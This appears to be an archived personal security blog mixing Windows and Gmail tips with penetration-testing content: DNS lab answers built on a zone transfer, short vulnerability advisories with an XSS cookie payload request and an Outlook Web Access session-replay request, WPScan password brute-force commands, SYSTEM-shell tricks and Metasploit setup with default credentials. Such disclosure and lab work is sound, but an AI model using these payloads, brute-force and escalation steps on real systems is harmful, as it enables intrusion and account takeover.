Asheesh

2020-11-09T09:53:00.005-08:00

Powershell FIX: WARNING: Unable to resolve package source ‘https://www.powershellgallery.com/api/v2

Step open powershell terminal as admin run below command

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

then simply re-run the Find-Module PSWindowsUpdate

DNS: DNSSEC Enabled

2018-12-20T20:58:00.000-08:00

Q1. What is the key ID of key signing key of witrap.com?
A. 47466

Q2. What is the algorithm used for to create KSK and ZSK for witrap.com?
A. NSEC3RSASHA1

Q3. What is the RRSIG A Record of witrap.com?
A. oheCda/JJlTjPDYoskGh/YW+o8Tixx0hAHs0UtMPy91o6vZttrL0SA/5LLmYgmTwMioBq2fhPm19tX4NBdBec/HRHNad/yKmZYp/kC/qqMesthhg1kKPOKrVKvtbMvW7tmMXRjaVTFIQADg2/gCnPfp8PkwwSmcJMWTS0h0ivbnoUXARddTPMY5Gnaxy2CxQK3cBHsjVnBosmChHqabNUdPPqP+X53fdQ4z2GxYkO9Y4KmVLbljIYnb45Tl+J1lL4nLxCHgIXXL7Fzs7bziwR8bsWD0lXaJWha1MF8R9u9USS+CQzGhtOIWcZikY3RxXrBu+PmrJcHx7TaObssLgXw==

Q4. What is the Salt used for hash Calculation for NSEC3?
A. DBF4725BEF433A41

Q5. How many RRSIG records exists for witrap.com?
A. 11

DNS: Zone Transfer Enabled

2018-12-20T20:42:00.001-08:00

How many A Records are present for witrap.com and its subdomains?:9
root@attackdefense:~# dig -t AXFR witrap.com @192.146.24.3

; <<>> DiG 9.11.5-1-Debian <<>> -t AXFR witrap.com @192.146.24.3
;; global options: +cmd
witrap.com.             86400   IN      SOA     primary.witrap.com. root.witrap.com. 2011071001 3600 1800 604800 86400
witrap.com.             86400   IN      CAA     0 issue "witrapselfcert.com"
witrap.com.             86400   IN      LOC     37 46 29.744 N 122 25 9.904 W 32.00m 1m 10000m 10m
witrap.com.             86400   IN      A       192.168.60.5
witrap.com.             86400   IN      NS      primary.witrap.com.
witrap.com.             86400   IN      NS      secondary.witrap.com.
witrap.com.             86400   IN      MX      10 mx.witrap.com.
witrap.com.             86400   IN      MX      20 mx2.witrap.com.
witrap.com.             86400   IN      AAAA    2001:db8::11:0:0:11
_ldap._tcp.witrap.com. 3600    IN      SRV     10 10 389 ldap.witrap.com.
free.witrap.com.        86400   IN      A       192.168.60.100
ldap.witrap.com.        86400   IN      A       192.168.62.111
mx.witrap.com.          86400   IN      A       192.168.65.110
mx2.witrap.com.         86400   IN      A       192.168.65.150
open.witrap.com.        86400   IN      CNAME   free.witrap.com.
primary.witrap.com.     86400   IN      A       192.168.60.14
reserved.witrap.com.    86400   IN      A       192.168.62.81
secondary.witrap.com.   86400   IN      A       192.168.66.15
th3s3cr3tflag.witrap.com. 86400 IN      A       192.168.61.35
th3s3cr3tflag.witrap.com. 86400 IN      TXT     "Here is your secret flag: my_s3cr3t_fl4g"
witrap.com.             86400   IN      SOA     primary.witrap.com. root.witrap.com. 2011071001 3600 1800 604800 86400
;; Query time: 0 msec
;; SERVER: 192.146.24.3#53(192.146.24.3)
;; WHEN: Fri Dec 21 04:34:07 UTC 2018
;; XFR size: 21 records (messages 1, bytes 584)

What is the IP address of machine which support LDAP over TCP on witrap.com?
A. 192.168.62.111

Can you find the secret flag in TXT record of a subdomain of witrap.com?
A. my_s3cr3t_fl4g

What is the subdomain for which only reverse dns entry exists for witrap.com? witrap owns the ip address range: 192.168.*.*

root@attackdefense:~# nmap -R -sL --dns-server 192.146.24.3 -Pn 192.168.*.* | grep 'scan'
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-21 04:41 UTC
Nmap scan report for witrap.com.168.192.in-addr.arpa (192.168.60.5)
Nmap scan report for primary.witrap.com (192.168.60.14)
Nmap scan report for free.witrap.com (192.168.60.100)
Nmap scan report for th3s3cr3tflag.witrap.com (192.168.61.35)
Nmap scan report for reserved.witrap.com (192.168.62.81)
Nmap scan report for ldap.witrap.com (192.168.62.111)
Nmap scan report for temp.witrap.com (192.168.62.118)
Nmap scan report for mx.witrap.com (192.168.65.110)
Nmap scan report for mx2.witrap.com (192.168.65.150)
Nmap scan report for secondary.witrap.com (192.168.66.15)
Nmap done: 65536 IP addresses (0 hosts up) scanned in 5.04 seconds

How many records are present in reverse zone for witrap.com (excluding SOA)? witrap owns the ip address range: 192.168.*.*
12

AttackDefense Labs:DNS: Basic Queries

2018-12-20T20:26:00.000-08:00

What is the ip address of primary Name server of witrap.com ?

Hint:Note: Please make sure to specify the target DNS server (192.X.Y.3) while making the DNS queries/requests

     What is the ipv4 address of witrap.com ?:192.168.66.2
    What is the ipv6 address of witrap.com ?2001:db8::1:0:0:13
    How many mail server does witrap.com have? Two
    What is the IP address of Mail Server of witrap.com which has highest priority? 10 mail.witrap.com
    What is the Canonical Name of www.witrap.com?
Which Certificate Authorities can Issue certificate for witrap.com?
What is the Geographical location of witrap.com ?
Can you find the flag provided in the information of witrap.com?
What is the IP address of machine which support sip over TCP on witrap.com?
What is the administrative email of witrap.com?

AlgoSec Firewall Analyzer /BusinessFlow/login message Parameter Reflected XSS

2014-01-29T05:58:00.001-08:00

AlgoSec Firewall Analyzer /BusinessFlow/login message Parameter Reflected XSS

lgoSec Firewall Analyzer Version v6.1-b86 cross-site scripting (XSS)
Vulnerability

================================================================================================================================================================

AlgoSec Firewall Analyzer Version v6.1-b86 cross-site
scripting (XSS) Vulnerability
================================================================================================================================================================

#Date- 7/8/2013

# code by Asheesh kumar Mani Tripathi

http://www.securityfocus.com/bid/61733

# Credit by Asheesh Anaconda

#Vulnerbility
AlgoSec Firewall Analyzer is prone to an cross-site scripting (XSS)
Vulnerability because the application fails to properly
sanitize user-supplied input

#Impact
A successful exploit could allow an attacker to compromise the application,
access or modify data, or exploit vulnerabilities

AlgoSec Firewall Analyzer /afa/php/Login.php URI Reflected XSS

2014-01-29T05:56:00.002-08:00

AlgoSec Firewall Analyzer /afa/php/Login.php URI Reflected XSS

http://www.securityfocus.com/bid/61733

================================================================================================================================================================

AlgoSec Firewall Analyzer Version v6.4 cross-site scripting (XSS) Vulnerability
================================================================================================================================================================

#Date- 21/8/2013

# code by Asheesh kumar Mani Tripathi

# Credit by Asheesh Anaconda

#Vulnerbility
AlgoSec Firewall Analyzer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

#Impact
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities

ManageEngine EventLog Analyzer event/j_security_check j_username Parameter Reflected XSS

2014-01-29T05:54:00.002-08:00

ManageEngine EventLog Analyzer event/j_security_check j_username Parameter Reflected XSS

================================================================================================================================================================

ManageEngine EventLog Analyzer 8.6 cross-site scripting (XSS) Vulnerability
================================================================================================================================================================

#Date- 12/12/2013

# code by Asheesh kumar Mani Tripathi

http://www.osvdb.org/show/osvdb/102270
http://www.osvdb.org/show/osvdb/102270

# Credit by Asheesh Anaconda

#Vulnerbility
ManageEngine EventLog Analyzer 8.6 is prone to an cross-site scripting (XSS) Vulnerability because the application fails to properly
sanitize user-supplied input

#Impact
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities

McAfee® Vulnerability Manager 7.5 cross-site scripting (XSS) Vulnerability

2013-08-21T03:56:00.002-07:00

http://www.securityfocus.com/bid/58401/info

http://www.tenable.com/plugins/index.php?view=single&id=65738
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-5094

#Date- 8/3/2013

# code by Asheesh kumar Mani Tripathi

# Credit by Asheesh Anaconda

#Vulnerbility
McAfee® Vulnerability Manager 7.5 is prone to an cross-site scripting (XSS) Vulnerability because the application fails to properly
sanitize user-supplied input

#Impact
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities

========================================================================================================================

Request
========================================================================================================================

GET /index.exp HTTP/1.1
Cookie: identity=p805oa53c0dab5vpcv1da30me7; cert_cn=%27%22%28%29%26%251%3CScRiPt %3Eprompt%28920847%29%3C%2FScRiPt%3E; remember=remember
Host: 172.28.1.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

SonicWALL Aventail 'CategoryID' Parameter SQL Injection Vulnerability

2013-03-10T10:47:00.002-07:00

SonicWALL Aventail is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Further research conducted by the vendor indicates this issue may not be a vulnerability affecting the application

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/prodpage.cfm?CFID=&CFTOKEN=&CategoryID=[SQL]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-5262

Windows 7 - Unable to install any USB devices

2012-07-30T11:06:00.002-07:00

Here's the solution for the ones who might have this problem:
This worked for me in Windows 7 Ultimate 64bit!
You must have all administrator privileges!

1- Open Windows Explorer

2- Go to C:/Windows/System32/DriverStore

You will have a couple of folders and files.
You will have *.dat files and other file named: infcache.1

3- Right click every file (dont touch the folders!) and choose properties.

4- go to security tab

5- click Edit

6- choose your account and check the box: full control (see ss)

7- Click ok.

8- Repeat to every file

9- Select all the files (*.dat and infcache.1)

10- Press shift+del

11- Press OK.

12- Now, go to C:Windows/System32/Driver Store/File Repository/

13- Search for folder named usbstor.inf

14- Open it (if you have more than one, choose the most recent)

15- Copy "usbstor.inf" and "usbstor.PNF"

16- Paste those two files to C:/Windows/inf

17- Reboot your pc and voilla! :b

BT5 password for postgresql

2012-04-01T02:54:00.004-07:00

root@bt:/opt/framework/config# cat database.yml production: adapter: postgresql database: msf3 username: msf3 password: eccd8310 host: 127.0.0.1 port: 7175 pool: 75 timeout: 5

Change Your Google Talk Status to Away

2012-02-11T02:24:00.000-08:00

Do you wanna control your gtalk idle status? If yes, then here is trick to control Idle Status on Google Talk.You can choose always idle to remain idle always, it will show you idle evan when you are chatting. Also you can choose Never idle, It will never show you idle.

Go to system registry editor (regedit.exe)
Go to HKEY_CURRENT_USER\Software\Google\Google Talk\Options
Add a DWORD named "inactive_minutes"

0 means always idle BUT email notifications are disabled.

or

A free program called gAlwaysIdle is looking to solve that problem. It provides an option in the Google Talk right-click menu that will let you always have your status set to away, whether or not your are using your computer:

It has three different modes that you can choose from:

Normal Idle – Uses the default Google Talk settings
Always Idle – You’re always set to idle
Never Idle – Makes sure you are never set to away even when you’re not at your computer

Installing WPScan in BT

2012-02-11T02:06:00.000-08:00

WPScan installation.

wget http://wpscan.googlecode.com/files/wpscan-1.0.zip

unzip wpscan-1.0.zip

sudo apt-get install libcurl4-gnutls-dev rubygems1.8 ruby
sudo gem install typhoeus
sudo gem install xml-simple

apt-get install wpscan

cd /pentest/web/wpscan/

EXAMPLES

Do 'non-intrusive' checks...

ruby ./wpscan.rb --url www.example.com

Do wordlist password brute force on enumerated users using 50 threads...

ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

Do wordlist password brute force on the 'admin' username only...

ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

Generate a new 'most popular' plugin list, up to 150 pages...

ruby ./wpscan.rb --generate_plugin_list 150

Enumerate instaled plugins...

ruby ./wpscan.rb --url www.example.com --enumerate p

Run CMD.exe as Local System Account

2011-12-21T11:16:00.000-08:00

Strike 1:

I found information online which suggests lauching the CMD.exe using the DOS Task Scheduler AT command. Here’s a sample command:

AT 12:00 /interactive cmd.exe

I gave it a shot but I received a Vista warning that “due to security enhancements, this task will run at the time excepted but not interactively.”

It turns out that this approach will work for XP, 2000 and Server 2003 but due to session 0 isolation Interactive services no longer work on Windows Vista and Windows Server 2008.

Strike 2:

Another solution suggested creating a secondary Windows Service via the Service Control (sc.exe) which merely launches CMD.exe.

C:\sc create RunCMDAsLSA binpath= "cmd" type=own type=interactC:\sc start RunCMDAsLSA

In this case the service fails to start and results it the following error message:

FAILED 1053: The service did not respond to the start or control request in a timely fashion.

Strike 3:

The third suggestion was to launch CMD.exe via a Scheduled Task. Though you may run scheduled tasks under various accounts, I don’t believe the Local System Account is one of them. I’ve tried using the Runas as well, but think I’m running into the same restriction as found when running a scheduled task.
Not Out Yet:

Fortunately, I came across this article which demonstrates the use of PSTools from SysInternals which was acquired by Microsoft in July, 2006. I launched the command line and issued the following statement and suddenly I was running under the Local System Account like magic:

psexec -i -s cmd.exe

PSTools worked great. It’s a lightweight, well-documented set of tools which provided an appropriate solution to my problem.

How to gain access to system account the most powerful account in Windows.

2011-12-21T09:45:00.000-08:00

Don’t follow the procedure below if you don’t know what you
are doing. You may harm your PC. If you follow, Do it on your own risk.

1)Check the name of the account you’ve logged into (Click start. You
will see the name of the account you’ve logged in.)

2)Launch the command prompt. (Start | Run | cmd | [Enter] )
in command prompt, create a schedule to run cmd.exe.
To create a schedule type the following line and hit enter.
at 10:41 /interactive “cmd.exe”
this will create a schedule to run cmd.exe at 10:41.
(Since you are testing, check the time in your system try and add two or three minutes.)Change this time according to your local time
Hint: you can check if the schedule is placed by typing “at“
and hitting enter after the above step.

3)Wait for the time you set for the schedule.
cmd.exe would be launched at the specified time.

4)After cmd.exe is launched by the scheduled time, press [CTRL] + [ALT] + [DEL] and launch task manager.
Select “Process” tab, select explorer.exe in the process list and click “End Process” button.
You will receive a confirmation dialogue. Click “Yes” to end the process.

5)Close task manager by clicking the close (X) button.
Close the first cmd window (be careful to close the first one not the second one.)
Now you have only the second command prompt window and an empty desktop.
In command prompt type the following line and hit “Enter”
cd ..

6)In command prompt type the following line and hit “Enter”
explorer.exe
If this is the first time you do it, windows creates the necessary
components for you to access System ( Desktop, start menu,
My document)
when it’s finished you will have a new desktop.

7)Close command prompt window. Click start and check your username. It’s changed to System. Now you are a super-power user. Be careful not to harm your PC and delete or modify system files if you don’t know what you are doing.

Am once again saying, don’t attempt accessing system account, unless you are an experienced Windows user

Microsoft Outlook Web Access Session Replay Security Bypass Vulnerability

2011-11-22T01:56:00.000-08:00

Detail of POC can be viewed
http://www.securityfocus.com/bid/50361

Microsoft Outlook Web Access is prone to a security-bypass vulnerability.

Successful exploits may allow attackers to hijack web sessions or bypass authentication through a replay attack and gain access to a victim's email account.

Microsoft Outlook Web Access 8.2.254.0 is vulnerable; other versions may also be affected.

An attacker can carry out this attack using readily available network utilities.

The following proof of concept is available:

GET /owa/?ae=Folder&t=IPF.Note&a= HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application,
application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, application/x-mfe-ipt,
*/*
Referer: https://www.example.com/owa/
Accept-Language: en-in
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0;
SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR
3.5.30729; FDM; .NET CLR 3.0.30729; .NET4.0C)
Accept-Encoding: gzip, deflate
Host: xxxwebmail.xxx.xxx
Connection: Keep-Alive
Cookie: sessionid=49307edc-0f26-4dae-95f8-02d3dc6ad8a3:000;
cadata="25HxHgvnciGT/BOV1+yiA+HThFiE6kBtFXSjqAF0B5vvPAIKu7PA8tzKUCnW9N4Ao9E1WSzUeA27dLBgx";
UserContext=e8997d6036554ada88a62dc9f2cf65d3

SonicWALL Aventail 'CategoryID' Parameter SQL Injection Vulnerability

2011-11-22T01:53:00.000-08:00

Detail of POC can be viewed
http://www.securityfocus.com/bid/50702
http://www.exploit-db.com/exploits/18122/

SonicWALL Aventail is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/prodpage.cfm?CFID=&CFTOKEN=&CategoryID=[SQL]

Turning Firefox to an Ethical Hacking Platform

2011-09-11T10:25:00.000-07:00

Information gathering

Whois and geo-location
ShowIP : Show the IP address of the current page in the status bar. It also allows querying custom services by IP (right mouse button) and Hostname (left mouse button), like whois, netcraft.

Shazou : The product called Shazou (pronounced Shazoo it is Japanese for mapping) enables the user with one-click to map and geo-locate any website they are currently viewing.

HostIP.info Geolocation : Displays Geolocation information for a website using hostip.info data. Works with all versions of Firefox.

Active Whois : Starting Active Whois to get details about any Web site owner and its host server.
Bibirmer Toolbar : An all-in-one extension. But auditors need to play with the toolbox. It includes ( WhoIs, DNS Report, Geolocation , Traceroute , Ping ). Very useful for information gathering phase

Enumeration / fingerprinting
Header Spy: Shows HTTP headers on statusbar
Header Monitor : This is Firefox extension for display on statusbar panel any HTTP response header of top level document returned by a web server. Example: Server (by default), Content-Encoding, Content-Type, X-Powered-By and others.

Social engineering
People Search and Public Record: This Firefox extension is a handy menu tool for investigators, reporters, legal professionals, real estate agents, online researchers and anyone interested in doing their own basic people searches and public record lookups as well as background research.

Googling and spidering
Advanced dork : Gives quick access to Google’s Advanced Operators directly from the context menu. This could be used to scan for hidden files or narrow in a target anonymously (via the scroogle.org option) [Updated Definition. Thanks to CP author of Advanced Dork]

SpiderZilla : Spiderzilla is an easy-to-use website mirror utility, based on Httrack from www.httrack.com.

View Dependencies : View Dependencies adds a tab to the "page info" window, in which it lists all the files which were loaded to show the current page. (useful for a spidering technique)

Running Multiple Instances of Google Talk

2011-05-22T12:06:00.000-07:00

Open Multiple Gtalk Instances
First find out where your GTalk is installed. This would usually be:

C:\Program Files\Google\Google Talk\googletalk.exe

Once you have found out where your Google Talk is,
• create a short cut by right clicking on your desktop and choosing Shortcut
• Browse and choose the location of the file and add “/nomutex” in the end of the location. So your path looks like this
“C:\Program%20Files\Google\Google%20Talk\googletalk.exe” /nomutex

That’s it. Now click on your usual link to open GTalk. After you open it, log into it. Now click on the new shortcut that you created to open the second Google Talk.

Backtrack db_driver mysql problem Error

2011-05-22T11:50:00.000-07:00

Backtrack db_driver mysql problem Error
solution

1)# apt-get install libmysqlclient-dev

2) # start mysql or #/etc/init.d/mysql start

3)# mysql -u root -p'toor' by default password is toor

4)mysql> create database metasploit3; // mysql> create database ;

6)mysql> grant all privileges on metasploit3.* to root@localhost;
mysql> exit

7)# update-alternatives --config ruby //

after choose type selection number: 0

8)# ruby -v //check ruby version it should be ruby 1.8.7

9)#gem install mysql

10)# ruby1.8 /pentest/exploits/framework3/msfconsole // it should be starting with ruby1.8 every u open msfconsole

11)msf > db_driver mysql

12)msf > db_connect root:toor@127.0.0.1:3306/metasploit3

13)msf > db_status

14)msf > db_nmap -sS -n 192.168.1.2 // check it working or not

cheer!!!!

Insert Images into Your Gmail Messages

2011-04-27T13:05:00.000-07:00

Well, it's around 3am . one of my frd asked how to insert image in gmail

Solution: To put images into your messages or attach images want to inline them. Just turn on "Inserting images" from the Labs tab under Settings

Make sure you're in rich formatting mode, or it won't show up. Click the little image icon, and you can insert images in two ways: by uploading image files from your computer or providing image URLs.

Gmail doesn't show URL-based images in messages by default to protect you from spammers, so if you're sending mail to other Gmail users, they'll still have to click "Display images below" or "Always display images from ..." to see images you embed.

Compile Linux kernel 2.6

2011-02-15T22:52:00.000-08:00

Step # 1 Get Latest Linux kernel code

Visit http://kernel.org/ and download the latest source code. File name would be linux-x.y.z.tar.bz2, where x.y.z is actual version number.

root@asheesh#cd /tmp
root@asheesh#wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-x.y.z.tar.bz2

Step # 2 Extract tar (.tar.bz2) file

root@asheesh# tar -xjvf linux-2.6.25.tar.bz2 -C /usr/src
root@asheesh# cd /usr/src

Step # 3 Configure kernel
root@asheesh# apt-get install gcc (if gcc is not installed)
root@asheesh#make menuconfig

Step # 4 Compile kernel

Start compiling to create a compressed kernel image
root@asheesh# make

Start compiling to kernel modules:
root@asheesh# make modules
root@asheesh#make modules_install

Step # 5 Install kernel

Compiled kernel and installed kernel modules.
root@asheesh#make install

Step # 6: Create an initrd image

Type the following command at a shell prompt:
root@asheesh# cd /boot
root@asheesh# mkinitrd -o initrd.img-2.6.37 2.6.37

Step # 7 Modify Grub configuration file
- /boot/grub/menu.lst (before Edit Please take backup)

Open file using vi or gedit:
root@asheesh# vi /boot/grub/menu.lst

title Debian GNU/Linux, kernel 2.6.25 Default
root (hd0,0)
kernel /boot/vmlinuz root=/dev/hdb1 ro
initrd /boot/initrd.img-2.6.25
savedefault
boot

Remember to setup correct root=/dev/hdXX device. Save and close the file. If you think editing and writing all lines by hand
is too much for you, try out update-grub command to update the lines for each kernel in /boot/grub/menu.lst file. Just type

the command:
root@asheesh#update-grub

Step # 8 : Reboot computer and boot into your new kernel
root@asheesh# reboot

Problem in Installation - Armitage

2010-12-15T10:01:00.000-08:00

Problem while Connection Mysql Database

solution

1)msf > db_driver

2)msf > db_driver mysql

3)root@bt:/pentest/exploits/framework3# mysql -u root -p

4)mysql> CREATE USER msf3@localhost IDENTIFIED BY 'test';

5)mysql> CREATE DATABASE msf3;

6)mysql> GRANT ALL PRIVILEGES ON msf3.* TO msf3@localhost;

Another Problem while Installing if you are using sqlite3
then

root@bt:/pentest/exploits/armitage# ./armitage.sh

password is blank i.e

DB Connect String -

Armitage Setup

2010-12-15T09:42:00.000-08:00

To install Armitage in BackTrack,

1)root@bt:~# apt-get update

2)root@bt:~# apt-get install armitage

3)root@bt:~# msfrpcd -f -U msf -P test -t Basic

4)root@bt:~# /etc/init.d/mysql start

5)root@bt:/pentest/exploits/armitage# ./armitage.sh

In BackTrack, the default MYSQL credentials are root / toor and for PostgreSQL,
if using sqlite3 credential is blank password

6)select the "Use SSL" checkbox, verify the rest of the settings and click "Connect".

Microsoft DRM technology (msnetobj.dll) ActiveX Multiple Remote Vulnerabilities

2010-09-25T09:55:00.000-07:00

Detail of POC can be viewed
http://www.exploit-db.com/exploits/15061/
http://www.securityfocus.com/bid/43345/info

Microsoft DRM technology (msnetobj.dll) ActiveX Multiple Remote Vulnerabilities
by

Asheesh Kumar Mani Tripathi

# Vulnerability Discovered By Asheesh kumar Mani Tripathi

# email informationhacker08@gmail.com

# company www.aksitservices.co.in

# Credit by Asheesh Anaconda

# Date 18th Sep 2010

# Description: Microsoft DRM technology (msnetobj.dll) ActiveX suffers from multiple remote vulnerabilities such as buffer overflow, integer overflow and denial of service (IE crash). This issue is triggered when an attacker convinces a victim user to visit a malicious website.

The "GetLicenseFromURLAsync" function does not handle input correctly.
Remote attackers may exploit this issue to execute arbitrary machine code in the context of the affected application, facilitating the remote compromise of affected computers. Faile exploit attempts likely result in browser crashes.

Detail of POC can be viewed
link:http://www.exploit-db.com/exploits/15061/
link:http://www.securityfocus.com/bid/43345/info